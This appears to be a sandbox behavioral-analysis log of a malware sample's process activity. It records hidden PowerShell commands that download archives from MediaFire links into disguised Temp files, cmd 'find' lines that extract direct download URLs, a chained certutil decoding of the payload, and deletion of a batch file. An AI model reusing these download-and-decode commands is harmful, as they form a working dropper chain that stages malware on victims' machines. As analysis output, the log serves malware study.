Behavioral Analysis

powershell.exe powershell -windowstyle hidden -Command

powershell.exe powershell -Command "& { $request = [System.Net.WebRequest]::Create('https://www.mediafire.com/file/uq6estxvdnk3zze/ofeduqin1.rar/file'); $request.UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'; $response = $request.GetResponse(); $responseStream = $response.GetResponseStream(); $fileStream = New-Object System.IO.FileStream('C:\Users\test22\AppData\Local\Temp\weba.html', [System.IO.FileMode]::Create); [byte[]]$buffer = New-Object byte[] 1024; while(($bytesRead = $responseStream.Read($buffer, 0, $buffer.Length)) -gt 0) { $fileStream.Write($buffer, 0, $bytesRead); } $fileStream.Close(); $responseStream.Close(); }"

powershell.exe powershell -Command "& { $request = [System.Net.WebRequest]::Create('https://www.mediafire.com/file/hzktcfc598wc4c7/bipucowova2.rar/file'); $request.UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'; $response = $request.GetResponse(); $responseStream = $response.GetResponseStream(); $fileStream = New-Object System.IO.FileStream('C:\Users\test22\AppData\Local\Temp\webb.html', [System.IO.FileMode]::Create); [byte[]]$buffer = New-Object byte[] 1024; while(($bytesRead = $responseStream.Read($buffer, 0, $buffer.Length)) -gt 0) { $fileStream.Write($buffer, 0, $bytesRead); } $fileStream.Close(); $responseStream.Close(); }"

cmd.exe C:\Windows\system32\cmd.exe /c find "https://download" C:\Users\test22\AppData\Local\Temp\weba.html | find /i ".rar"

cmd.exe C:\Windows\system32\cmd.exe /c find "https://download" C:\Users\test22\AppData\Local\Temp\webb.html | find /i ".rar"

powershell.exe powershell -Command "& { $request = [System.Net.WebRequest]::Create('https://download2275.mediafire.com/j1wfd498a9kgLf3itD5hwAm6GnB3TusSTZTc-mMhVvYN0hqwTQjJQ_hx8vgk3fcKOnDmVLRUteddrj73aOXA_Edxuym5EabDMzK_5X7yVYmIbgLFneKrfI2j3kF0iKqyYl0a_Z_m15qv351FgpQdY81ekwmLjEjQ4mvXkBuJmCO1hFQ/uq6estxvdnk3zze/ofeduqin1.rar'); $request.UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'; $response = $request.GetResponse(); $responseStream = $response.GetResponseStream(); $fileStream = New-Object System.IO.FileStream('C:\Users\test22\AppData\Local\Temp\playvideoa.a', [System.IO.FileMode]::Create); [byte[]]$buffer = New-Object byte[] 1024; while(($bytesRead = $responseStream.Read($buffer, 0, $buffer.Length)) -gt 0) { $fileStream.Write($buffer, 0, $bytesRead); } $fileStream.Close(); $responseStream.Close(); }"

powershell.exe powershell -Command "& { $request = [System.Net.WebRequest]::Create('https://download2280.mediafire.com/gz03sbm5gh5g44MooGxCNLMCcMyIm4BOqLSx4UrogWrZG41rW7VDf8OqrrlhRfdehhZ-hfT7jlPw29vnZnH6xlDoFSCu0tNkT7Ht5v8HV1Bnaxlx3DTHaBrI291FxT3JffMDP6Z7nT2_i3vfiuQHn2S352byuVCUHH7QtsvDi1I7OA/hzktcfc598wc4c7/bipucowova2.rar'); $request.UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'; $response = $request.GetResponse(); $responseStream = $response.GetResponseStream(); $fileStream = New-Object System.IO.FileStream('C:\Users\test22\AppData\Local\Temp\playvideob.f', [System.IO.FileMode]::Create); [byte[]]$buffer = New-Object byte[] 1024; while(($bytesRead = $responseStream.Read($buffer, 0, $buffer.Length)) -gt 0) { $fileStream.Write($buffer, 0, $bytesRead); } $fileStream.Close(); $responseStream.Close(); }"

powershell.exe powershell -Command "& { $request = [System.Net.WebRequest]::Create($env:url); $request.Method = 'GET'; $request.Referer = $env:referer; $request.UserAgent = $env:userAgent; $response = $request.GetResponse(); $stream = $response.GetResponseStream(); $reader = New-Object System.IO.StreamReader($stream); $content = $reader.ReadToEnd(); $reader.Close(); $response.Close(); }"

certutil.exe certutil -decode C:\Users\test22\AppData\Local\Temp\playvideoa.a C:\Users\test22\AppData\Local\Temp\playvideoa.b

certutil.exe certutil -decode C:\Users\test22\AppData\Local\Temp\playvideoa.b C:\Users\test22\AppData\Local\Temp\playvideoa.c

certutil.exe certutil -decode C:\Users\test22\AppData\Local\Temp\playvideoa.c C:\Users\test22\AppData\Local\Temp\playvideoa.d

cmd.exe CMD /C DEL C:\Users\test22\AppData\Local\Temp\impactfulbrands.co.uk__________________________________________.html.bat